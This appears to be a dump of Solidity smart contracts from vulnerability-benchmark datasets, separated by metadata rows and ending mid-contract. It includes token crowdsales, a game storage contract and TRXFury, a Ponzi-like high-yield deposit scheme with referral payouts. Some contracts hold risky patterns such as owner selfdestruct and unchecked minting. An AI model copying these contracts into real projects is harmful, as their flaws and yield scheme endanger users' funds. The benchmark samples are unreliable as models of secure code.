}
}
/// @title Migration Agent interface
/// @author Hoard Team
contract MigrationAgent {
/// @dev migrates tokens or other "assets" from one contract to another (not yet specified)
/// @notice parameters -> (address _from, uint _value)
function migrateFrom(address, uint256) public;
}
/// @title Mintable token interface
/// @author Hoard Team
contract Mintable {
/// @dev Mint new tokens
/// @notice params -> (address _recipient, uint256 _amount)
function mintTokens (address, uint256) public;
}
/// @title Migratable entity interface
/// @author Hoard Team
contract Migratable {
/// @dev Migrates tokens for msg.sender
/// @notice params -> (uint256 _value)
function migrate (uint256) public;
// EVENTS
event Migrate (address indexed _from, address indexed _to, uint256 _value);
}
/// @title Standard ERC20 compliant token
/// @author Hoard Team
contract ExtendedStandardToken is StandardToken, Migratable, Mintable {
address public migrationAgent;
uint256 public totalMigrated;
// MODIFIERS
modifier migrationAgentSet {
require(migrationAgent != address(0));
_;
}
modifier migrationAgentNotSet {
require(migrationAgent == address(0));
_;
}
/// @dev Internal constructor to prevent bare instances of this contract
constructor () internal {
}
// MIGRATION LOGIC
/// @dev Migrates tokens for msg.sender and burns them
/// @param _value amount of tokens to migrate
function migrate (uint256 _value) public {
// Validate input value
require(_value > 0);
//require(_value <= balances[msg.sender]);
//not necessary as safeSub throws in case the above condition does not hold
balances[msg.sender] = balances[msg.sender].safeSub(_value);
totalSupply = totalSupply.safeSub(_value);
totalMigrated = totalMigrated.safeAdd(_value);
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
emit Migrate(msg.sender, migrationAgent, _value);
}
// MINTING LOGIC
/// @dev Mints additional tokens
/// @param _recipient owner of new tokens
/// @param _amount amount of tokens to mint
function mintTokens (address _recipient, uint256 _amount) public {
require(_amount > 0);
balances[_recipient] = balances[_recipient].safeAdd(_amount);
totalSupply = totalSupply.safeAdd(_amount);
// Log token creation event
emit Transfer(address(0), msg.sender, _amount);
}
// CONTROL LOGIC
/// @dev Sets address of a new migration agent
/// @param _address address of new migration agent
function setMigrationAgent (address _address) public {
migrationAgent = _address;
}
}
/// @title Hoard Token (HRD) - crowdfunding code for Hoard token
/// @author Hoard Team
contract HoardToken is ExtendedStandardToken {
// Token description fields
string public constant name = "Hoard Token";
string public constant symbol = "HRD";
uint256 public constant decimals = 18; // 18 decimal places, the same as ETH
// contract supervision variables
address public creator;
address public hoard;
address public migrationMaster;
// MODIFIERS
modifier onlyCreator {
require(msg.sender == creator);
_;
}
modifier onlyHoard {
require(msg.sender == hoard);
_;
}
modifier onlyMigrationMaster {
require(msg.sender == migrationMaster);
_;
}
// CONSTRUCTION
/// @param _hoard Hoard multisig contract
/// @param _migrationMaster migration master
constructor (address _hoard, address _migrationMaster) public {
require(_hoard != address(0));
require(_migrationMaster != address(0));
creator = msg.sender;
hoard = _hoard;
migrationMaster = _migrationMaster;
}
// BASE CLASS IMPLEMENTATION
/// @notice ExtendedStandardToken is StandardToken
function transfer (address _to, uint256 _value) public
returns (bool)
{
return super.transfer(_to, _value);
}
/// @notice ExtendedStandardToken is StandardToken
function transferFrom (address _from, address _to, uint256 _value) public
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
/// @notice ExtendedStandardToken is Migratable
function migrate (uint256 _value) public migrationAgentSet {
super.migrate(_value);
}
/// @notice ExtendedStandardToken
function setMigrationAgent (address _address) public onlyMigrationMaster migrationAgentNotSet {
require(_address != address(0));
super.setMigrationAgent(_address);
}
/// @notice ExtendedStandardToken is Mintable
function mintTokens (address _recipient, uint256 _amount) public onlyCreator {
super.mintTokens(_recipient, _amount);
}
// CONTROL LOGIC
/// @dev changes Hoard multisig address to another one
function changeHoardAddress (address _address) onlyHoard external { hoard = _address; }
/// @dev changes migration master address to another one
function changeMigrationMaster (address _address) onlyHoard external { migrationMaster = _address; }
}
| 133,892 | 163 |
5d8215bc4595b60344882cc0c12381564ded15f60c48649a57433ec40c4c9653
| 17,007 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5c751a3a3375a97463a4b5f000c3f700802e903a.sol
| 3,032 | 11,385 |
pragma solidity ^0.4.4;
contract ERC20 {
uint public totalSupply;
uint public decimals;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeMathLib {
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _tokenHolder, uint256 _amount) external;
}
contract StandardToken is ERC20, SafeMathLib {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) returns (bool success) {
// SafMaths will automatically handle the overflow checks
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract XinfinUpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function XinfinUpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);
// Validate input value.
require(value != 0);
balances[msg.sender] = safeSub(balances[msg.sender], value);
// Take tokens out from circulation
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
// The token is not yet in a state that we could think upgrading
require(canUpgrade());
require(agent != 0x0);
// Only a master can designate the next agent
require(msg.sender == upgradeMaster);
// Upgrade has already begun for an agent
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
// Bad interface
require(upgradeAgent.isUpgradeAgent());
// Make sure that token supplies match in source and target
require(upgradeAgent.originalSupply() == totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
require(transferAgents[_sender]);
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferFrom()
return super.transferFrom(_from, _to, _value);
}
}
contract DMToken is XinfinUpgradeableToken, ReleasableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name = "DMarket Network";
string public symbol = "DMT";
uint public decimals = 18;
//Crowdsale running
bool public isCrowdsaleOpen=false;
uint public totalSupply = 15000000000 * (10 ** decimals);
uint public onSaleTokens = 10000000000 * (10 ** decimals);
uint tokensForPublicSale = 0;
address contractAddress;
uint256 pricePerToken = 7518796992481; //1 Eth = 133000 XDCE
uint minETH = 0 * 10**decimals; // 0 ether
uint maxETH = 150 * 10**decimals; // 150 ether
function DMToken() XinfinUpgradeableToken(msg.sender) {
owner = msg.sender;
contractAddress = address(this);
//tokens are kept in contract address rather than owner
balances[contractAddress] = totalSupply;
}
function updateTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function sendTokensToOwner(uint _tokens) onlyOwner returns (bool ok){
require(balances[contractAddress] >= _tokens);
balances[contractAddress] = safeSub(balances[contractAddress],_tokens);
balances[owner] = safeAdd(balances[owner],_tokens);
return true;
}
function sendTokensToInvestors(address _investor, uint _tokens) onlyOwner returns (bool ok){
require(balances[contractAddress] >= _tokens);
onSaleTokens = safeSub(onSaleTokens, _tokens);
balances[contractAddress] = safeSub(balances[contractAddress],_tokens);
balances[_investor] = safeAdd(balances[_investor],_tokens);
return true;
}
function dispenseTokensToInvestorAddressesByValue(address[] _addresses, uint[] _value) onlyOwner returns (bool ok){
require(_addresses.length == _value.length);
for(uint256 i=0; i<_addresses.length; i++){
onSaleTokens = safeSub(onSaleTokens, _value[i]);
balances[_addresses[i]] = safeAdd(balances[_addresses[i]], _value[i]);
balances[contractAddress] = safeSub(balances[contractAddress], _value[i]);
}
return true;
}
function startCrowdSale() onlyOwner {
isCrowdsaleOpen=true;
}
function stopCrowdSale() onlyOwner {
isCrowdsaleOpen=false;
}
function setPublicSaleParams(uint _tokensForPublicSale, uint _min, uint _max, bool _crowdsaleStatus) onlyOwner {
require(_tokensForPublicSale != 0);
require(_tokensForPublicSale <= onSaleTokens);
tokensForPublicSale = _tokensForPublicSale;
isCrowdsaleOpen=_crowdsaleStatus;
require(_min >= 0);
require(_max > 0);
minETH = _min;
maxETH = _max;
}
function setTotalTokensForPublicSale(uint _value) onlyOwner{
require(_value != 0);
tokensForPublicSale = _value;
}
function increaseSupply(uint value) onlyOwner returns (bool) {
totalSupply = safeAdd(totalSupply, value);
balances[contractAddress] = safeAdd(balances[contractAddress], value);
Transfer(0x0, contractAddress, value);
return true;
}
function decreaseSupply(uint value) onlyOwner returns (bool) {
balances[contractAddress] = safeSub(balances[contractAddress], value);
totalSupply = safeSub(totalSupply, value);
Transfer(contractAddress, 0x0, value);
return true;
}
function setMinAndMaxEthersForPublicSale(uint _min, uint _max) onlyOwner{
require(_min >= 0);
require(_max > 0);
minETH = _min;
maxETH = _max;
}
function updateTokenPrice(uint _value) onlyOwner{
require(_value != 0);
pricePerToken = _value;
}
function updateOnSaleSupply(uint _newSupply) onlyOwner{
require(_newSupply != 0);
onSaleTokens = _newSupply;
}
function buyTokens() public payable returns(uint tokenAmount) {
uint _tokenAmount;
uint multiplier = (10 ** decimals);
uint weiAmount = msg.value;
require(isCrowdsaleOpen);
//require(whitelistedAddress[msg.sender]);
require(weiAmount >= minETH);
require(weiAmount <= maxETH);
_tokenAmount = safeMul(weiAmount,multiplier) / pricePerToken;
require(_tokenAmount > 0);
//safe sub will automatically handle overflows
tokensForPublicSale = safeSub(tokensForPublicSale, _tokenAmount);
onSaleTokens = safeSub(onSaleTokens, _tokenAmount);
balances[contractAddress] = safeSub(balances[contractAddress],_tokenAmount);
//assign tokens
balances[msg.sender] = safeAdd(balances[msg.sender], _tokenAmount);
//send money to the owner
require(owner.send(weiAmount));
return _tokenAmount;
}
function() payable {
buyTokens();
}
function destroyToken() public onlyOwner {
selfdestruct(msg.sender);
}
}
| 196,811 | 164 |
27c0354050fb6297fe5d38e1be77b77fd17849708152465328f64b5c8a16b41a
| 13,781 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xdb289a6c489ea324564e64783ecccb0d7fa9d00f.sol
| 4,006 | 13,239 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemsInterfaceForEternalStorage {
function createShip(uint256 _itemId) public;
function createRadar(uint256 _itemId) public;
function createScanner(uint256 _itemId) public;
function createDroid(uint256 _itemId) public;
function createFuel(uint256 _itemId) public;
function createGenerator(uint256 _itemId) public;
function createEngine(uint256 _itemId) public;
function createGun(uint256 _itemId) public;
function createMicroModule(uint256 _itemId) public;
function createArtefact(uint256 _itemId) public;
function addItem(string _itemType) public returns(uint256);
}
contract EternalStorage {
ItemsInterfaceForEternalStorage private mI;
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => uint256[]) private uintArrayStorage;
mapping(bytes32 => string) private stringStorage;
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bytes) private bytesStorage;
mapping(bytes32 => bool) private boolStorage;
mapping(bytes32 => int256) private intStorage;
address private ownerOfStorage;
address private logicContractAddress;
mapping(address => uint256) private refunds;
constructor() public {
ownerOfStorage = msg.sender;
mI = ItemsInterfaceForEternalStorage(0x27B95A9231a022923e9b52d71bEB662Fdd5d6cbc);
}
modifier onlyOwnerOfStorage() {
require(msg.sender == ownerOfStorage);
_;
}
modifier onlyLogicContract() {
require(msg.sender == logicContractAddress);
_;
}
function initWithShips() public onlyOwnerOfStorage {
createShip(1, 'Titanium Ranger Hull', 200, 2, 0.18 ether);
createShip(2, 'Platinum Ranger Hull', 400, 4, 0.45 ether);
createShip(3, 'Adamantium Ranger Hull', 600, 7, 0.9 ether);
}
function addReferrer(address _referrerWalletAddress, uint256 referrerPrize) public onlyLogicContract {
refunds[_referrerWalletAddress] += referrerPrize;
}
function widthdrawRefunds(address _owner) public onlyLogicContract returns(uint256) {
uint256 refund = refunds[_owner];
refunds[_owner] = 0;
return refund;
}
function checkRefundExistanceByOwner(address _owner) public view onlyLogicContract returns(uint256) {
return refunds[_owner];
}
function buyItem(uint256 _itemId, address _newOwner, string _itemTitle, string _itemTypeTitle) public onlyLogicContract returns(uint256) {
uint256 newItemId = mI.addItem(_itemTitle);
uintStorage[_b3(_itemTypeTitle, newItemId)] = _itemId;
addressStorage[_b4(_itemTitle, newItemId)] = _newOwner;
return _itemId;
}
function _b1(string _itemType, uint256 _itemId, string _property) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId, _property));
}
function _b3(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId));
}
function _b4(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked("owner", _itemType, _itemId));
}
function getOwnerByItemTypeAndId(string _itemType, uint256 _itemId) public onlyLogicContract view returns(address) {
return addressStorage[_b4(_itemType, _itemId)];
}
function getItemTypeIdByTypeAndId(string _itemTypeTitle, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b3(_itemTypeTitle, _itemId)];
}
function getItemPriceById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b1(_itemType, _itemId, "price")];
}
function getTypicalItemById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256) {
return (_itemId,
stringStorage[_b1(_itemType, _itemId, "name")],
uintStorage[_b1(_itemType, _itemId, "value")],
uintStorage[_b1(_itemType, _itemId, "price")],
uintStorage[_b1(_itemType, _itemId, "durability")]);
}
function getShipById(uint256 _shipId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256) {
return (_shipId,
stringStorage[_b1("ships", _shipId, "name")],
uintStorage[_b1("ships", _shipId, "hp")],
uintStorage[_b1("ships", _shipId, "block")],
uintStorage[_b1("ships", _shipId, "price")]);
}
function getEngineById(uint256 _engineId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256,
uint256) {
return (_engineId,
stringStorage[_b1("engines", _engineId, "name")],
uintStorage[_b1("engines", _engineId, "speed")],
uintStorage[_b1("engines", _engineId, "giper")],
uintStorage[_b1("engines", _engineId, "price")],
uintStorage[_b1("engines", _engineId, "durability")]);
}
function getGunByIdPart1(uint256 _gunId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256) {
return (_gunId,
stringStorage[_b1("guns", _gunId, "name")],
uintStorage[_b1("guns", _gunId, "min")],
uintStorage[_b1("guns", _gunId, "max")]);
}
function getGunByIdPart2(uint256 _gunId) public onlyLogicContract view returns(uint256,
uint256,
uint256,
uint256,
uint256) {
return (uintStorage[_b1("guns", _gunId, "radius")],
uintStorage[_b1("guns", _gunId, "recharge")],
uintStorage[_b1("guns", _gunId, "ability")],
uintStorage[_b1("guns", _gunId, "price")],
uintStorage[_b1("guns", _gunId, "durability")]);
}
function getMicroModuleByIdPart1(uint256 _microModuleId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256) {
return (_microModuleId,
stringStorage[_b1("microModules", _microModuleId, "name")],
uintStorage[_b1("microModules", _microModuleId, "itemType")],
uintStorage[_b1("microModules", _microModuleId, "bonusType")]);
}
function getMicroModuleByIdPart2(uint256 _microModuleId) public onlyLogicContract view returns(uint256,
uint256,
uint256) {
return (uintStorage[_b1("microModules", _microModuleId, "bonus")],
uintStorage[_b1("microModules", _microModuleId, "level")],
uintStorage[_b1("microModules", _microModuleId, "price")]);
}
function getArtefactById(uint256 _artefactId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256) {
return (_artefactId,
stringStorage[_b1("artefacts", _artefactId, "name")],
uintStorage[_b1("artefacts", _artefactId, "itemType")],
uintStorage[_b1("artefacts", _artefactId, "bonusType")],
uintStorage[_b1("artefacts", _artefactId, "bonus")]);
}
function createShip(uint256 _shipId, string _name, uint256 _hp, uint256 _block, uint256 _price) public onlyOwnerOfStorage {
mI.createShip(_shipId);
stringStorage[_b1("ships", _shipId, "name")] = _name;
uintStorage[_b1("ships", _shipId, "hp")] = _hp;
uintStorage[_b1("ships", _shipId, "block")] = _block;
uintStorage[_b1("ships", _shipId, "price")] = _price;
}
function _update(string _itemType, uint256 _itemId, string _name, uint256 _value, uint256 _price, uint256 _durability) private {
stringStorage[_b1(_itemType, _itemId, "name")] = _name;
uintStorage[_b1(_itemType, _itemId, "value")] = _value;
uintStorage[_b1(_itemType, _itemId, "price")] = _price;
uintStorage[_b1(_itemType, _itemId, "durability")] = _durability;
}
function createRadar(uint256 _radarId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createRadar(_radarId);
_update("radars", _radarId, _name, _value, _price, _durability);
}
function createScanner(uint256 _scannerId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createScanner(_scannerId);
_update("scanners", _scannerId, _name, _value, _price, _durability);
}
function createDroid(uint256 _droidId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createDroid(_droidId);
_update("droids", _droidId, _name, _value, _price, _durability);
}
function createFuel(uint256 _fuelId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createFuel(_fuelId);
_update("fuels", _fuelId, _name, _value, _price, _durability);
}
function createGenerator(uint256 _generatorId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGenerator(_generatorId);
_update("generators", _generatorId, _name, _value, _price, _durability);
}
function createEngine(uint256 _engineId, string _name, uint256 _speed, uint256 _giper, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createEngine(_engineId);
stringStorage[_b1("engines", _engineId, "name")] = _name;
uintStorage[_b1("engines", _engineId, "speed")] = _speed;
uintStorage[_b1("engines", _engineId, "giper")] = _giper;
uintStorage[_b1("engines", _engineId, "price")] = _price;
uintStorage[_b1("engines", _engineId, "durability")] = _durability;
}
function createGun(uint256 _gunId, string _name, uint256 _min, uint256 _max, uint256 _radius, uint256 _recharge, uint256 _ability, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGun(_gunId);
stringStorage[_b1("guns", _gunId, "name")] = _name;
uintStorage[_b1("guns", _gunId, "min")] = _min;
uintStorage[_b1("guns", _gunId, "max")] = _max;
uintStorage[_b1("guns", _gunId, "radius")] = _radius;
uintStorage[_b1("guns", _gunId, "recharge")] = _recharge;
uintStorage[_b1("guns", _gunId, "ability")] = _ability;
uintStorage[_b1("guns", _gunId, "price")] = _price;
uintStorage[_b1("guns", _gunId, "durability")] = _durability;
}
function createMicroModule(uint256 _microModuleId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus, uint256 _level, uint256 _price) public onlyOwnerOfStorage {
mI.createMicroModule(_microModuleId);
stringStorage[_b1("microModules", _microModuleId, "name")] = _name;
uintStorage[_b1("microModules", _microModuleId, "itemType")] = _itemType;
uintStorage[_b1("microModules", _microModuleId, "bonusType")] = _bonusType;
uintStorage[_b1("microModules", _microModuleId, "bonus")] = _bonus;
uintStorage[_b1("microModules", _microModuleId, "level")] = _level;
uintStorage[_b1("microModules", _microModuleId, "price")] = _price;
}
function createArtefact(uint256 _artefactId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus) public onlyOwnerOfStorage {
mI.createArtefact(_artefactId);
stringStorage[_b1("artefacts", _artefactId, "name")] = _name;
uintStorage[_b1("artefacts", _artefactId, "itemType")] = _itemType;
uintStorage[_b1("artefacts", _artefactId, "bonusType")] = _bonusType;
uintStorage[_b1("artefacts", _artefactId, "bonus")] = _bonus;
}
function setNewPriceToItem(string _itemType, uint256 _itemTypeId, uint256 _newPrice) public onlyLogicContract {
uintStorage[_b1(_itemType, _itemTypeId, "price")] = _newPrice;
}
function transferOwnershipOfStorage(address _newOwnerOfStorage) public onlyOwnerOfStorage {
_transferOwnershipOfStorage(_newOwnerOfStorage);
}
function _transferOwnershipOfStorage(address _newOwnerOfStorage) private {
require(_newOwnerOfStorage != address(0));
ownerOfStorage = _newOwnerOfStorage;
}
function changeLogicContractAddress(address _newLogicContractAddress) public onlyOwnerOfStorage {
_changeLogicContractAddress(_newLogicContractAddress);
}
function _changeLogicContractAddress(address _newLogicContractAddress) private {
require(_newLogicContractAddress != address(0));
logicContractAddress = _newLogicContractAddress;
}
}
| 165,905 | 165 |
6abc2e54f1effb6ed2cb9e4969fac4ffcbc5444f541c17e1672929f6e3e78ead
| 17,834 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TZ/TZEfwT11kS5oKd5GpnU7A55ewyMSe9QQkN_TRXFury.sol
| 5,012 | 14,435 |
//SourceUnit: TRXFury.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.6;
interface IInsuranceContract {
function initiate() external;
function getBalance() external view returns(uint);
function getMainContract() external view returns(address);
}
contract INSURANCE {
//accept funds from MainContract
receive() external payable {}
address payable public MAINCONTRACT;
constructor() {
MAINCONTRACT = payable(msg.sender);
}
function initiate() public {
require(msg.sender == MAINCONTRACT, "Forbidden");
uint balance = address(this).balance;
if(balance==0) return;
MAINCONTRACT.transfer(balance);
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
function getMainContract() public view returns(address) {
return MAINCONTRACT;
}
}
contract TRXFury {
//accept funds from Insurance
receive() external payable {}
bool public LAUNCHED;
address payable public WALLET_PROJECT;
address payable public WALLET_DEV;
uint constant public PERCENTS_DIVIDER = 1000;
uint constant public TIME_STEP = 1 days;
uint constant public INVEST_MIN_AMOUNT = 10e6; // 10 TRX
uint[] public REFERRAL_PERCENTS = [70, 30, 20, 10, 5]; // 7% 3% 2% 1% 0.5%
uint constant public PROJECT_FEE = 90; // project fee 9% of deposit
uint constant public DEV_FEE = 10; // dev fee 1% of deposit
uint constant public MAX_WITHDRAW_AMOUNT = 50000e6; // claim 50000 TRX max
uint constant public WITHDRAW_COOLDOWN = 1 days / 4; // claim 4 times per day
address payable public INSURANCE_CONTRACT;
mapping (uint => uint) public INSURANCE_MAXBALANCE;
uint constant public INSURANCE_PERCENT = 100; // insurance fee 10% of claim
uint constant public INSURANCE_LOWBALANCE_PERCENT = 250; // protection kicks in at 25% or lower
uint constant public REINVEST_PERCENT = 100; // auto reinvest 10% of claim
mapping (uint => THistoryDeposit) public DEPOSIT_HISTORY;
uint public TOTAL_DEPOSITS;
uint public TOTAL_INVESTED;
uint public TOTAL_REFDIVIDENDS;
uint public TOTAL_CLAIMED;
uint public INSURANCE_TRIGGER_BALANCE;
struct TPlan {
uint durationDays;
uint percent;
}
struct TDeposit {
uint planIdx;
uint amount;
uint timeStart;
uint timeEnd;
bool isReinvest;
}
struct THistoryDeposit {
uint timestamp;
uint duration;
uint amount;
}
struct TUser {
uint checkpoint;
TDeposit[] deposits;
TDeposit[] depHistory;
uint[5] refCount;
address referrer;
uint refDividends;
uint debtBuffer;
uint totalInvested;
uint totalRefDividends;
uint totalClaimed;
}
TPlan[] public PLANS;
mapping(address => TUser) public USERS;
event ProjectFeePaid(uint amount);
event DevFeePaid(uint amount);
event Reinvested(uint amount);
event InsuranseFeePaid(uint amount);
event Claimed(address user, uint amount);
event InitiateInsurance(uint high, uint current);
event RefInvited(address referrer, address user);
event RefDividends(address referrer, address user, uint refLevel, uint amount);
event Newcomer(address user);
event NewDeposit(address user, uint planIdx, uint amount);
uint public stat_maxDepositArrayLength;
address public stat_maxDepositArrayUser;
uint public stat_depositsReusedCounter;
constructor(address payable _walletProject, address payable _walletDev) {
INSURANCE_CONTRACT = payable(new INSURANCE());
WALLET_PROJECT = _walletProject;
WALLET_DEV = _walletDev;
PLANS.push(TPlan(7,200));
PLANS.push(TPlan(8,184));
PLANS.push(TPlan(9,171));
PLANS.push(TPlan(10,161));
PLANS.push(TPlan(11,152));
PLANS.push(TPlan(12,145));
PLANS.push(TPlan(13,140));
PLANS.push(TPlan(14,135));
PLANS.push(TPlan(15,130));
PLANS.push(TPlan(16,126));
PLANS.push(TPlan(17,123));
PLANS.push(TPlan(18,120));
PLANS.push(TPlan(19,117));
PLANS.push(TPlan(20,115));
PLANS.push(TPlan(21,113));
PLANS.push(TPlan(22,111));
PLANS.push(TPlan(23,109));
PLANS.push(TPlan(24,107));
PLANS.push(TPlan(25,106));
PLANS.push(TPlan(26,104));
PLANS.push(TPlan(27,103));
PLANS.push(TPlan(28,102));
PLANS.push(TPlan(29,101));
PLANS.push(TPlan(30,100));
}
function invest(address _referrer, uint8 _planIdx) public payable {
require(msg.value >= INVEST_MIN_AMOUNT, "The deposit amount is too low");
require(_planIdx < PLANS.length, "Invalid plan index");
if(!LAUNCHED) {
require(msg.sender == WALLET_PROJECT, "Project has not launched yet");
LAUNCHED = true;
}
//transfer project fee
uint pfee = msg.value * PROJECT_FEE / PERCENTS_DIVIDER;
WALLET_PROJECT.transfer(pfee);
emit ProjectFeePaid(pfee);
//transfer dev fee
uint mfee = msg.value * DEV_FEE / PERCENTS_DIVIDER;
WALLET_DEV.transfer(mfee);
emit DevFeePaid(mfee);
_setUserReferrer(msg.sender, _referrer);
_allocateReferralRewards(msg.sender, msg.value);
_createDeposit(msg.sender, _planIdx, msg.value, false);
_insuranceTrigger();
}
function claim() public {
TUser storage user = USERS[msg.sender];
uint claimAmount = _getUserDividends(msg.sender) + user.refDividends + user.debtBuffer;
require(claimAmount > 0, "Nothing to withdraw");
require(_canClaim(msg.sender), "Claim cooldown");
user.checkpoint = block.timestamp; //clear accumulated dividends
user.refDividends = 0; //clear refDividends
user.debtBuffer = 0; //clear debtBuffer
//not enough contract balance? give what we can, promise to refund later
uint balance = address(this).balance;
if (claimAmount > balance) {
user.debtBuffer += claimAmount - balance;
claimAmount = balance;
}
//anti-whale protection
if (claimAmount > MAX_WITHDRAW_AMOUNT) {
user.debtBuffer += claimAmount - MAX_WITHDRAW_AMOUNT;
claimAmount = MAX_WITHDRAW_AMOUNT;
}
//insurance
